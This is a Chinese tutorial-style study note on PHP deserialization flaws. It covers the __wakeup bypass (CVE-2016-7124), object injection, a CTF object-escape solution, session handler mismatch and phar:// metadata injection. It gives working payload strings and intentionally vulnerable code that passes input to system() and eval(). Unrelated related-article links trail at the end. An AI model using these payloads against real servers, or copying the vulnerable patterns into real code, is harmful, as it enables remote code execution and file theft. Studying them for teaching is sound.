参考文章:

序列化和反序列化的概念

序列化就是将 对象、string、数组array、变量 转换成具有一定格式的字符串。

具体可以看 CTF PHP反序列化,下图摘自此篇文章

其实每个字符对应的含义都很好理解:

s ---- string 字符串

i ---- integer 整数

d --- 双精度型

b ---- boolean 布尔数

N ---- NULL 空值

O ---- Object 对象

a ---- array 数组

·············

其中较为重要的是 对象 的序列化与反序列化:

对象序列化后的字符串包括 属性名、属性值、属性类型、该对象对应的类名,注意并不包括类中的方法

序列化:

将对象转化成字符串存储

其中:

序列化一个实例对象后:

O:4:"Test":3:{s:4:"name";s:6:"R0oKi3";s:6:"*age";s:16:"18岁余24个月";s:10:"Testmoto";s:6:"hehehe";}

O:4:"Test":3: ---O 代表 对象,Test为其类名,占 4 个字符,并且有 3 个属性

{} ---大括号里面包含具体的属性

s:4:"name";s:6:"R0oKi3"; ---以分号分隔属性名和属性值,s 表示字符串,4、6 表示字符长度,name表示属性名,R0oKi3 表示属性值,后续一样,都是成对的

注意点:当访问控制修饰符(public、protected、private)不同时,序列化后的结果也不同

public 被序列化的时候属性名 不会更改

protected 被序列化的时候属性名 会变成 %00*%00属性名

private 被序列化的时候属性名 会变成 %00类名%00属性名

由于 %00 就是一个空字符,所以不会显示出来,不过为了显示效果,在菜鸟工具上可以明显看到不同

当提交 payload 的时候就需要将 %00 给加上后再提交

反序列化:

反序列化则相反,其将字符串转化成对象

至于为什么要序列化:

对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

serialize() 函数

serialize() 函数会检查类中是否存在一个魔术方法 __sleep()。如果存在,__sleep() 方法会先被调用,然后才执行序列化操作。

unserialize() 函数

unserialize() 会检查是否存在一个 __wakeup() 魔术方法,成功地重新构造对象后,如果存在__wakeup() 成员函数则会调用 __wakeup()

但是当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过 __wakeup() 的执行,也就是 CVE-2016-7124,php 版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)。

由于会从字符串构造出对象,那么会不会调用 __construct() 构造函数?

例如如下测试代码:

class Test{

public $test;

function __construct(){

$this->test = '0默认内容
';

echo $this->test;

}

}

$a = new Test();

echo '1'.$a->test;

$a->test = '自定义内容
';

echo '2'.$a->test;

$x = serialize($a);

$y = unserialize($x);

echo '3'.$y->test;

?>

执行结果为:

0默认内容 // $a = new Test(); 时执行 __construct() 构造函数

1默认内容 // echo '1'.$a->test;

2自定义内容 // echo '2'.$a->test;

3自定义内容 // echo '3'.$y->test;

可以看到反序列化时,并没有调用 __construct() 构造函数。

其他可能会用到的 魔术方法

__destruct() 析构函数,当对象被销毁或者程序退出时会自动调用

__toString() 用于一个类被当成字符串时触发

__invoke() 当尝试以调用函数的方式调用一个对象时触发

__call() 在对象上下文中调用不可访问的方法时触发

__callStatic() 在静态上下文中调用不可访问的方法时触发

__get() 用于从不可访问的属性读取数据

__set() 用于将数据写入不可访问的属性

__isset() 在不可访问的属性上调用 isset() 或 empty() 触发

__unset() 在不可访问的属性上使用 unset() 时触发

通过例子理解反序列化漏洞

CVE-2016-7124

介绍:

调用 unserilize() 方法成功地重新构造对象后,如果 class 中存在 __wakeup 方法,前会调用 __wakeup 方法,但是序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过 __wakeup 的执行

php版本限制(PHP5 < 5.6.25、PHP7 < 7.0.10)

测试代码:

class Test{

public $cmd;

function __wakeup(){

$this->cmd = '';

}

function __destruct(){

echo '
';

system($this->cmd);

}

}

$test = $_GET['cmd'];

$test_n = unserialize($test);

?>

可以看到,当执行反序列化的时候,调用 __wakeup 方法会将 $cmd 参数置为空,在程序退出时执行 __destruct 方法时也就执行不了任何命令

因此可以利用 CVE-2016-7124

首先得到一个正常的序列化结果:

class Test{

public $cmd;

function __wakeup(){

$this->cmd = '';

}

function __destruct(){

echo '
';

system($this->cmd);

}

}

$test = new Test();

$test->cmd = "whoami";

echo serialize($test);

结果:O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

然后构造对象属性个数的值大于真实的属性个数的 payload:

O:4:"Test":2:{s:3:"cmd";s:6:"whoami";}

成功执行:

对象注入

参考代码:

class A{

var $target;

function __construct(){

$this->target = new B;

}

function __destruct(){

$this->target->action();

}

}

class B{

function action(){

echo "action B";

}

}

class C{

var $test;

function action(){

echo "action C";

eval($this->test);

}

}

unserialize($_GET['test']);

?>

class B 和class C 有一个同名方法 action,我们可以构造目标对象,使得析构函数调用 class C 的 action 方法,实现任意代码执行

构造序列化字符串:

class A{

var $target;

function __construct(){

$this->target = new C; //这里将 B 换成 C

$this->target->test = "whoami"; //初始化对象 $test 值

}

function __destruct(){

$this->target->action();

}

}

class C{

var $test;

function action(){

eval($this->test);

}

}

echo "\n\n\n\n";

echo serialize(new A());

?>

运行得到 payload:可以看到,内部注入了一个 C 对象

O:1:"A":1:{s:6:"target";O:1:"C":1:{s:4:"test";s:10:"phpinfo();";}}

执行

PHP 反序列化的对象逃逸

打开题目看到源码

$function = @$_GET['f']; //获取 f 变量

function filter($img){ //整个函数的作用就是通过正则替换参数中的特定字符为 空

$filter_arr = array('php','flag','php5','php4','fl1g');

$filter = '/'.implode('|',$filter_arr).'/i'; // $filter = "/php|/flag|php5|php4|fl1g/i"

return preg_replace($filter,'',$img);

}

if($_SESSION){

unset($_SESSION);

}

$_SESSION["user"] = 'guest';

$_SESSION['function'] = $function; //给 $SESSION array增加初值

extract($_POST); //将 POST 的值前加上 $ 符号,例如 a=123,处理后就变成了 $a=123

if(!$function){ //没有传参数 f 显示,也就是打开题目时的首页

echo 'source_code';

}

if(!$_GET['img_path']){ //将 $_SESSION['img'] base64 编码

$_SESSION['img'] = base64_encode('guest_img.png');

}else{ //将 $_SESSION['img'] base64 编码后再哈希

$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

}

$serialize_info = filter(serialize($_SESSION)); // 将 $_SESSION array参数序列化后再调用 filter 过滤函数

if($function == 'highlight_file'){

highlight_file('index.php');

}else if($function == 'phpinfo'){

eval('phpinfo();'); //maybe you can find something in here!

}else if($function == 'show_image'){

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo['img']));//base64 解码后获取指定文件

}

首先可以看到提示我们传入 f=phpinfo ,打开后可以看到一个不太正常的东西

直接访问为空,结合 file_get_contents 函数,便考虑能不能读取该文件

看到这个判断

if(!$_GET['img_path']){

$_SESSION['img'] = base64_encode('guest_img.png');

}else{

$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));

}

如果我们直接 get 传 img_path 参数,文件会被哈希,file_get_contents(base64_decode($userinfo['img'])); 函数在 base64 解码时便会出错,读不到我们指定的文件,不传呢我们又只能读到指定的 guest_img.png 文件

既然题目给了 filter 函数,那么便肯定有用,而且可以看到,调用该函数是在 $_SESSION 被序列化之后,于是便可以考虑反序列化对象逃逸

首先要知道一个特性:当指定一个 string 长度,而其值为空时,那么便会发生字符吞噬,无论后面的字符是什么

例如:s:10:"";s:3:"123";,第一个 s 指定长度为10,而值为空,那么便会将后续字符吞掉,其中 ";s:3:"123 便会被吞噬,变成 s:10:"脑袋被吃了";

看到 payload:

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}

执行 serialize($_SESSION) 后:

a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

经过 filter() 函数之后,关键字被剔除:

a:3:{s:4:"user";s:24:"";s:8:"function";s:65:"a";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

可以看到 s:24:""; ,这里便会发生吞噬,";s:8:"function";s:65:"a被吞噬后变成:

a:3:{s:4:"user";s:24:"被吞噬的 24 个字符";s:8:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:28:"L3VwbG9hZC9ndWVzdF9pbWcuanBn";}

也就是 $serialize_info 参数最终的值

看到这里:

$userinfo = unserialize($serialize_info);

echo file_get_contents(base64_decode($userinfo['img']));

执行反序列化$serialize_info时,执行时只有 a:3:{s:4:"user";s:24:"被吞噬的 24 个字符";s:65:"function";s:4:"test";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";

会被当成有效字符,由此便发生了对象逃逸现象

$userinfo['img'] 的值就变成了 ZDBnM19mMWFnLnBocA== ,base64解码后变成了 d0g3_f1ag.php,也就成功将文件内容输出了

执行

查看网页源代码会发现

$flag = 'flag in /d0g3_fllllllag';

?>

依葫芦画瓢

构造 payload,获取/d0g3_fllllllag文件

_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:8:"function";s:4:"test";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

执行

session 反序列化

session.serialize_handler="" 定义序列化和反序列化的处理器的名字,默认是php(5.5.4后改为php_serialize)

测试代码:

ini_set('session.serialize_handler', '处理方法');

session_start();

$_SESSION['username'] = 'test';

?>

session.serialize_handler=php(默认)

只对用户名的内容进行了序列化存储,没有对变量名进行序列化,可以看作是服务器对用户会话信息的半序列化存储过程。

比如:传入数据 username=test,那么变成 session 后存储为 username|s:4:"test";

session.serialize_handler=php_serialize

对整个session信息包括文件名、文件内容都进行了序列化处理,可以看作是服务器对用户会话信息的完全序列化存储过程。

比如:传入数据 username=test,那么变成 session 后存储为 a:1{s:8:"username";s:4:"test";}

session.serialize_handler=php_binary

键名的长度对应的ASCII字符 + 键名 + 经过serialize()函数反序列化处理的值

比如:传入数据 username=test,那么变成 session 后存储为 8 代表的 ascii 字符退格 usernames:4:"test";

为什么会出现序列化漏洞?

在反序列化存储的 $_SEESION 数据时的使用的处理器和序列化时使用的处理器不同,会导致数据无法正确反序列化,通过特殊的伪造,便可以伪造任意数据

例如:

在存储 $_SEESION 时处理方法为 php_serialize,传输的数据为 username=|O:4:"test":0:{},则最后存储为 a:1{s:8:"username";s:16:"|O:4:"test":0:{}"}

而在取用 $_SESSION 时的处理方法为 php,此时键:a:1{s:8:"username";s:16:",值:O:4:"test":0:{},那么反序列话后便构造出了一个 test 对象。

session.auto_start

指定会话模块是否在请求开始时启动一个会话,默认不启动

session.auto_start=On

当配置选项 session.auto_start=On,会自动注册 Session 会话,因为该过程是发生在脚本代码执行前,所以在脚本中设定的包括序列化处理器在内的 session 相关配选项的设置是不起作用的, 因此一些需要在脚本中设置序列化处理器配置的程序会在 session.auto_start=On 时,销毁自动生成的 Session 会话,然后设置需要的序列化处理器,再调用 session_start() 函数注册会话,这时如果脚本中设置的序列化处理器与 php.ini 中设置的不同,就会出现安全问题,如下面的代码:

//foo.php if (ini_get('session.auto_start')) {

session_destroy();

}

ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION['ryat'] = $_GET['ryat'];

当第一次访问该脚本,并提交数据如下:

foo.php?ryat=|O:8:"stdClass":0:{}

脚本会按照 php_serialize 处理器的序列化格式存储数据:

a:1:{s:4:"ryat";s:20:"|O:8:"stdClass":0:{}";}

当第二次访问该脚本时,PHP 会按照 php.ini 里设置的序列化处理器反序列化存储的数据,这时如果 php.ini 里设置的是 php 处理器的话,将会反序列化伪造的数据,成功实例化了 stdClass 对象

这里需要注意的是,因为 PHP 自动注册 Session 会话是在脚本执行前,所以通过该方式只能注入 PHP 的内置类。

session.auto_start=Off

当配置选项 session.auto_start=Off,两个脚本注册 Session 会话时使用的序列化处理器不同,就会出现安全问题,如下面的代码:

//foo1.php ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION['ryat'] = $_GET['ryat']; ini_set('session.serialize_handler', 'php');

//or session.serialize_handler set to php in php.ini

session_start();

class ryat {

var $hi;

function __wakeup() {

echo 'hi';

}

function __destruct() {

echo $this->hi;

}

}

当访问 foo1.php 时,提交数据如下:

foo1.php?ryat=|O:4:"ryat":1:{s:2:"hi";s:4:"ryat";}

脚本会按照 php_serialize 处理器的序列化格式存储数据,访问 foo2.php 时,则会按照 php 处理器的反序列化格式读取数据,这时将会反序列化伪造的数据,成功实例化了 ryat 对象,并将会执行类中的 __wakeup 方法和 __destruct 方法

还有一个有趣的点 ------ 没有$_SESSION变量赋值,通过上传文件构造反序列化漏洞

文章:

原理+实践掌握(PHP反序列化和Session反序列化)

深入解析PHP中SESSION反序列化机制

小例子:

1.php

ini_set('session.serialize_handler', 'php_serialize');

session_start();

$_SESSION["username"]=$_GET["a"];

?>

2.php

ini_set('session.serialize_handler', 'php');

session_start();

class Test{

var $cmd;

function __construct(){

$this->cmd = 'phpinfo();';

}

function __destruct(){

system($this->cmd);

}

}

?>

首先我们访问 1.php,并传入?a=|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}

于是会在本地生成一个 session 文件,其内容为a:1:{s:8:"username";s:39:"|O:4:"Test":1:{s:3:"cmd";s:6:"whoami";}";}

然后我们访问 2.php,执行了 session_start() 函数,于是便会将 session 文件内容取出进行反序列化,由于处理方法不同,导致了反序列化漏洞

构造了一个 Test() 对象,然后再给通过序列化字符串的内容给 $cmd 变量赋值 'whoami',此时 __construct() 方法并没有被调用

在程序结束时,调用了析构函数,也就执行了命令 whoami

phar:// 反序列化漏洞(对象注入)

原因

在创建 phar 文件时,通过 setMetadata() 方法可以将对象以序列化的形式存入到 phar 文件中,并且在一些函数使用 phar:// 伪协议解析该文件时,会进行反序列化,从而造成了对象注入

函数

ìnclude();

fopen();

copy();

file();

file_get_contents();

file_put_contents();

file_exists();

md5_file();

unlink();

stat();

readfile();

is_dir();

is_file();

is_link();

is_executable();

is_readable();

is_writable();

is_writeable();

parse_ini_file();

filegroup();

fileinode();

fileowner();

fileperms();

filemtime();

fileatime();

filectime();

filesize();

exif_thumbnailexif_imagetype();

imageloadfontimagecreatefrom();

hash_hmac_filehash_filehash_update_filemd5_filesha1_file();

get_meta_tagsget_headers();

getimagesizegetimagesizefromstring();

$zip = new ZipArchive();

$res = $zip->open('c.zip');

$zip->extractTo('phar://test.phar/test');

小例子

漏洞存在的前提条件:

能上传 phar 文件或者其他类型的文件到服务器

有能解析并触发反序列化的函数,并且参数可控

伪协议 phar:// 未被禁用

存在漏洞的代码 phar.php: <?php

$filename=$_GET['filename'];

class AnyClass{

var $output = 'echo "cck";';

function __destruct()

{

eval($this->output);

}

}

file_exists($filename);

?>

创建 phar 文件,并注入对象,代码:make_phar.php:

注意点:要将 php.ini 中的 phar.readonly 选项设置为 Off,否则无法生成 phar 文件 class AnyClass {} //需要构造的对象

$phar = new Phar('test.phar');

$phar->startBuffering();

$phar->addFromString('test.txt', 'text');

$phar->setStub('GIF89a'.'<?php __HALT_COMPILER();?>'); //这里可以绕过文件类型设置,既可以当成 gif 也可以当成 phar 文件,当然也可以设置其他头,也可以不设置

$object = new AnyClass;

$object->output = 'phpinfo();'; // 设置对象参数

$phar->setMetadata($object); //将对象存储(会自动将其序列化)

$phar->stopBuffering();

执行该代码会得到一个 phar 文件

查看该文件具体内容

上传到目标服务器访问存在漏洞的代码,并指定文件

php initlize,PHP 反序列化漏洞入门学习笔记相关推荐

  1. dubbo入门学习笔记之入门demo(基于普通maven项目)

    注:本笔记接dubbo入门学习笔记之环境准备继续记录; (四)开发服务提供者和消费者并让他们在启动时分别向注册中心注册和订阅服务 需求:订单服务中初始化订单功能需要调用用户服务的获取用户信息的接口(订 ...

  2. Crypto++入门学习笔记(DES、AES、RSA、SHA-256)

    Crypto++入门学习笔记(DES.AES.RSA.SHA-256) 背景(只是个人感想,技术上不对后面的内容构成知识性障碍,可以skip): 最近,基于某些原因和需要,笔者需要去了解一下Crypt ...

  3. 机器学习入门学习笔记:(4.2)SVM的核函数和软间隔

    前言 之前讲了有关基本的SVM的数学模型(机器学习入门学习笔记:(4.1)SVM算法).这次主要介绍介绍svm的核函数.软间隔等概念,并进行详细的数学推导.这里仅将自己的笔记记录下来,以便以后复习查看 ...

  4. 机器学习入门学习笔记:(3.2)ID3决策树程序实现

    前言 之前的博客中介绍了决策树算法的原理并进行了数学推导(机器学习入门学习笔记:(3.1)决策树算法).决策树的原理相对简单,决策树算法有:ID3,C4.5,CART等算法.接下来将对ID3决策树算法 ...

  5. 机器学习入门学习笔记:(2.3)对数几率回归推导

    理论推导   在以前的博客(机器学习入门学习笔记:(2.1)线性回归理论推导 )中推导了单元线性回归和多元线性回归的模型.   将线性回归模型简写为:y=ωTx+by = \omega^Tx+b:   ...

  6. 机器学习入门学习笔记:(2.2)线性回归python程序实现

      上一篇博客中,推导了线性回归的公式,这次试着编程来实现它.(机器学习入门学习笔记:(2.1)线性回归理论推导 )   我们求解线性回归的思路有两个:一个是直接套用上一篇博客最后推导出来的公式:另一 ...

  7. 汇编入门学习笔记 (十二)—— int指令、port

    疯狂的暑假学习之  汇编入门学习笔记 (十二)--  int指令.port 參考: <汇编语言> 王爽 第13.14章 一.int指令 1. int指令引发的中断 int n指令,相当于引 ...

  8. node入门-学习笔记

    文章目录 node入门-学习笔记 node 启动node服务 重构express-run node入门-学习笔记 node 为什么后端要用node, 因为它是js js运行时环境 主要使用expres ...

  9. 计算机指令int,汇编入门学习笔记 (十二)—— int指令、端口

    疯狂的暑假学习之  汇编入门学习笔记 (十二)--  int指令.端口 参考: <汇编语言> 王爽 第13.14章 一.int指令 1. int指令引发的中断 int n指令,相当于引发一 ...

最新文章

  1. 删除windows7的隐藏分区
  2. java程序设计案例教程 钱银中_《Java程序设计案例教程》【价格 目录 书评 正版】_中国图书网...
  3. dedecms前端无法调用自定义变量怎么解决
  4. LuManager使用中典型问题整理集合
  5. 怎样设定目标(五)——设定目标失败的七大原因
  6. 不可不知的Oracle常用技巧
  7. groovy 和 java的区别_Groovy和JAVA的区别
  8. RabbitMQ学习之集群镜像模式配置
  9. 迅捷路由器FW325R的无线桥接
  10. vue-JsMind思维导图实现(包含鼠标右键自定义菜单)
  11. iMeta | 南农沈其荣团队发布微生物网络分析和可视化R包ggClusterNet
  12. 【已解决】U盘文件误删 恢复,实用有效 免费无充值 Recuva
  13. B站风清扬-Java面试总结
  14. 网站所在服务器查询方法
  15. 哪种程序员最挣钱?平均月薪30.8K,网友说这是掌握世界的技术
  16. php phacon 关联模型吗,Phalcon模型
  17. kindle亚马逊个人文档不显示_Kindle个人文档服务
  18. iOS开发简历这样写,面试电话接到手软
  19. Apache 防止恶意解析
  20. 一个TCP连接总是以1KB的最大段发送TCP段,发送方有足够多的数据要发送。当拥塞窗口为16KB时发生了超时,如果接下来的4个RTT(往返时间)时间内的TCP段的传输都是成功的,那么当第4个RTT时间

热门文章

  1. Latex 表格 tabularx自动换行
  2. 红帽8RHCSA考试真题,今天300分已过(2022最新版)
  3. 重入锁:ReentrantLock
  4. 阻塞队列(一):ArrayBlockingQueue
  5. mysql如何进行数据透视_使用MySQL的数据透视表
  6. 大数据分析技术有哪些
  7. Ubuntu安装SS及win10下客户端使用指南
  8. 训练YOLO v4模型时,xml格式转txt格式
  9. [Ubuntu]使用DataDog集成跟踪Django项目
  10. 弘辽科技:什么是淘宝直通车卡位?有哪些卡位技巧?